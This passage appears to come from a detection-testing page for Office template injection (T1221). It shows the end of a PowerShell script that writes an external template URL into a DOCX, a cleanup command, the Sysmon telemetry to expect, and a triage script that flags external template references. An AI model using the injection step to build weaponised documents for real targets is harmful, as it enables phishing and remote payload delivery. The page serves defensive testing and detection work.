$newEntry = $dstZ.CreateEntry('word/_rels/document.xml.rels')
$sw = New-Object System.IO.StreamWriter($newEntry.Open()); $sw.Write($injected); $sw.Close()
$dstZ.Dispose()
Write-Host \"Injected template URL '$turl' into $dst\"
"

Cleanup

powershell
powershell.exe -Command "Remove-Item -Path \"$env:TEMP\\T1221_orig.docx\",\"$env:TEMP\\T1221_injected.docx\" -ErrorAction SilentlyContinue"

Expected Telemetry

File creation events (Sysmon EventCode=11) for both the original and injected DOCX in %TEMP%. When the injected DOCX is opened: Sysmon EventCode=3 from winword.exe to 127.0.0.1:8080. The manipulation of the ZIP archive using System.IO.Compression is visible as PowerShell process events (Sysmon EventCode=1) before the Office network event — the chain of PowerShell→file creation→Office network connection is the full kill chain telemetry.

Expected Detection

The PowerShell file creation is not directly detected by the main rule (which targets Office network events). The detection fires when the injected document is opened in Word and triggers Branch 1 (RemoteHTTPFetch). This test validates the complete workflow: document creation (adversary tooling) → document opening (user) → template fetch (C2 network event). The PowerShell archive manipulation itself could be detected by T1027 or T1059 detections as a correlated pre-cursor event.

Test 5 Verify Template Injection Document Structure — Manual Inspection
windows

Demonstrates how to manually inspect a DOCX/XLSX for template injection using only built-in Windows tools. Analysts use this procedure during triage to verify whether a suspicious document contains injected template references without needing a sandbox. Safe to run on any DOCX file — does not execute the document.

Command

powershell
powershell.exe -Command "
$docx = \"$env:TEMP\\T1221_injected.docx\"
if (-not (Test-Path $docx)) { Write-Host 'Run test 4 first to create the test document'; exit }
Add-Type -AssemblyName System.IO.Compression.FileSystem
$z = [System.IO.Compression.ZipFile]::OpenRead($docx)
Write-Host '=== OOXML Structure ===' -ForegroundColor Cyan
$z.Entries | Select-Object Name, Length | Format-Table
Write-Host '=== Relationship Files (checking for external template references) ===' -ForegroundColor Cyan
foreach($e in $z.Entries | Where-Object {$_.FullName -match '\\.rels$'}){
  $sr = New-Object System.IO.StreamReader($e.Open())
  $content = $sr.ReadToEnd(); $sr.Close()
  Write-Host \"--- $($e.FullName) ---\" -ForegroundColor Yellow
  if($content -match 'attachedTemplate|TargetMode=.External'){
    Write-Host 'ALERT: External template reference detected!' -ForegroundColor Red
    $content -split '<Relationship' | Where-Object {$_ -match 'attachedTemplate|TargetMode'} | ForEach-Object { Write-Host \"  <Relationship$_\" }
  } else {
    Write-Host '  No external template references found'
  }
}
$z.Dispose()
"

Expected Telemetry

PowerShell process creation (Sysmon EventCode=1) with command line containing System.IO.Compression.ZipFile. No network events — this is static analysis only. The script outputs the injected URL to the console, confirming the template injection payload is present before any execution occurs.

Expected Detection

This test does not trigger the main detection rule (no Office process or network connection). It is an analyst tool for triage. If analysts use this script in automated response, the PowerShell invocation of ZipFile/StreamReader on a suspicious document path may be correlated with upstream T1566/T1204.002 detections to build the full incident timeline.

Related Detections